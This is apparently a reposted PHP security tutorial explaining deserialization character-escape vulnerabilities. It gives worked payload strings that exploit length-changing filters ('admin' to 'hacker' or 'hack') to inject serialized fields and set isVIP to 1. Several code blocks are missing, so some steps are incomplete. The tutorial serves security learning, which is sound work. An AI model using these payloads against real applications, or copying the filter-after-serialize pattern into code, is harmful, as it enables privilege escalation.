In-depth understanding of the principles of deserialization character escape in PHP

Release: 2023-04-10 16:02:02
forward
3407 people have browsed it

In-depth understanding of the principles of deserialization character escape in PHP

The principle of PHP deserialization character escaping

When developers serialize the object first, and then serialize the object in the object Characters are filtered and finally deserialized. At this time, there may be a vulnerability in PHP deserialization character escape.

Detailed explanation of PHP deserialization character escape

For PHP deserialization character escape, we will discuss it in the following two situations.

  • There are more characters after filtering

  • There are fewer characters after filtering

There will be more characters after filtering

Suppose we first define a user class, and then there are a total of 3 member variables in it: username, password, isVIP.

class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
  }
}
Copy after login

You can see that when this class is initialized, the isVIP variable defaults to 0 and is not affected by the parameters passed in during initialization.

Next, post the complete code to facilitate our analysis.

Copy after login

The output of this program is as follows:

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
Copy after login

As you can see, the isVIP variable after object serialization is 0.

At this time we add a function to replace the admin character, replace admin with hacker, the replacement function is as follows:

function filter($s){
return str_replace("admin","hacker",$s);
}
Copy after login

So the entire program is as follows:

Copy after login

The output of this program is:

O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
Copy after login

At this time, we take out the output of the two programs and compare it:

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //未过滤
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //已过滤
Copy after login

You can see that the filtered string The hacker in does not correspond to the previous character length

s:5:"admin";
s:5:"hacker";
Copy after login

At this time, for us, when creating a new object, the incoming admin is ours Controllable variable

Next, we clarify our goal: change the value of the isVIP variable to 1

First we change our Compare the existing substring and the target substring :

";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //现有子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目标子串
Copy after login
Copy after login

In other words, we need to inject our controllable variable admin The target substring .

First calculate the length of the target substring we need to inject:

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
//以上字符串的长度为47
Copy after login

Because the length of the string we need to escape is 47, andadmin will become hacker after each filtering, which means that every time admin appears, there will be 1 characters more.

So we repeat 47admin at the controllable variable, and then add our escaped target substring. The controllable variable is modified as follows:

adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
Copy after login

The complete code is as follows:

Copy after login

The program output is:

O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
Copy after login

We can count the number of hacker, the total is 47hacker, a total of 282 characters, exactly corresponding to the previous 282.

The injected substring behind also just completes the escape.

After deserialization, the redundant substrings will be discarded

We then deserialize the serialization result and then output it. The complete code is as follows:

Copy after login

The program output is as follows:

object(user)#2 (3) {
  ["username"]=>
string(282) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
  ["password"]=>
string(6) "123456"
  ["isVIP"]=>
int(1)
}
Copy after login

You can see that at this time, the variable isVIP becomes 1, and the deserialization character escapes The purpose is achieved.

Fewer characters after filtering

The above describes the situation where there are more characters in PHP deserialization character escape.

The following begins to explain the situation where deserialization character escapes are reduced.

First of all, the main body code is still the same as above, still the same class. The difference is that in the filter function, we change hacker to hack.

The complete code is as follows:

Copy after login

Get the result:

O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
Copy after login

Also compare existing substring and target substring :

";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //现有子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目标子串
Copy after login
Copy after login

Because during filtering, 5 characters were deleted to 4, so contrary to the above situation where more characters become more, with the addition of # As the number of ##admin increases, the existing substring will be indented.

Calculate the length of the

target substring :

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目标子串
//长度为47
Copy after login

Then calculate the length of the string to the

next controllable variable :

";s:8:"password";s:6:"
//长度为22
Copy after login

Because

1 characters will be missing each time filtering, we first repeat the admin characters 22 times (the 22 times here are not like The escape situation with more characters is accurate and may need to be adjusted later)

The complete code is as follows: (There are a total of

22 admin in the variables here)

Copy after login

Output Result:

Note: The mechanism of PHP deserialization is that, for example, if it is specified that there are 10 characters, but only 9 are read, double quotes are reached. At this time, PHP will Treat double quotes as the 10th character, that is to say, do not judge whether a string has ended based on double quotes, but read the string based on the previously specified number.

O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
Copy after login

这里我们需要仔细看一下s后面是105,也就是说我们需要读取到105个字符。从第一个引号开始,105个字符如下:

hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:
Copy after login

In-depth understanding of the principles of deserialization character escape in PHP

也就是说123456这个地方成为了我们的可控变量,在123456可控变量的位置中添加我们的目标子串

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目标子串
Copy after login

完整代码为:

Copy after login

输出:

O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
Copy after login

仔细观察这一串字符串可以看到紫色方框内一共107个字符,但是前面只有显示105

In-depth understanding of the principles of deserialization character escape in PHP

造成这种现象的原因是:替换之前我们目标子串的位置是123456,一共6个字符,替换之后我们的目标子串显然超过10个字符,所以会造成计算得到的payload不准确

解决办法是:多添加2admin,这样就可以补上缺少的字符。

修改后代码如下:

Copy after login

输出结果为:

O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
Copy after login

分析一下输出结果:

In-depth understanding of the principles of deserialization character escape in PHP

可以看到,这一下就对了。

我们将对象反序列化然后输出,代码如下:

Copy after login

得到结果:

object(user)#2 (3) {
  ["username"]=>
string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:""
  ["password"]=>
string(6) "123456"
  ["isVIP"]=>
int(1)
}
Copy after login

可以看到,这个时候isVIP的值也为1,也就达到了我们反序列化字符逃逸的目的了

推荐学习:《PHP视频教程

The above is the detailed content of In-depth understanding of the principles of deserialization character escape in PHP. For more information, please follow other related articles on the PHP Chinese website!

Related labels:
php
source:合天网安实验室
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template